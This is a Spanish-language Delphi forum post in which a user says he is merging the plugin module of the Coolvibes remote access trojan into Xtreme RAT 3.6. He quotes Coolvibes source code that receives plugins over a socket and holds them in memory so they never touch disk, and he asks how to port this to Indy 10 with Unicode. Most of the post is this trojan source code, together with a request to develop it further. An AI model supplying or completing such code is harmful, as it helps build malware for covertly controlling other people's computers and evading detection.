Delphi

[angelp4491]

Hola que tal, estoy implementando la unidad de plugins del Coolvibes en el Xtreme 3.6 RAT y lo único que me falta es la opción de que el plugis se ejecute desde una variable concretamente este es el codigo del Coolvives.

Código: Seleccionar todo

if TempStr2 = 'T' then
              getFile(Sock, extractfilepath(Configuracion.sCopyTo)+TempStr+'.cp', o, false)  //Lo recibimos a un archivo con el nombre del plugin+'.cp'
            else
            begin
              buf[0] := ' ';
              while (0 <> o) and Sock.Connected do
              begin
                try
                  Sock.ReceiveBuffer(buf, SizeOf(buf));
                except
                  Plugins[PluginCount].content := '';
                  Sock.Destroy;
                  exit;
                end;
                
                if length(buf[0]) > 0 then
                begin
                  o := o-1;
                  Plugins[PluginCount].content := Plugins[PluginCount].content + (Buf[0]);
                end;
              end;
              if (0 <> o) then break; //Nos hemos desconectado
            end;

donde en Plugins[PluginCount].content se guarda el plugin para no escribirlo en el disco.

Saben como puedo hacer esto mismo pero con Indy 10 y además unicode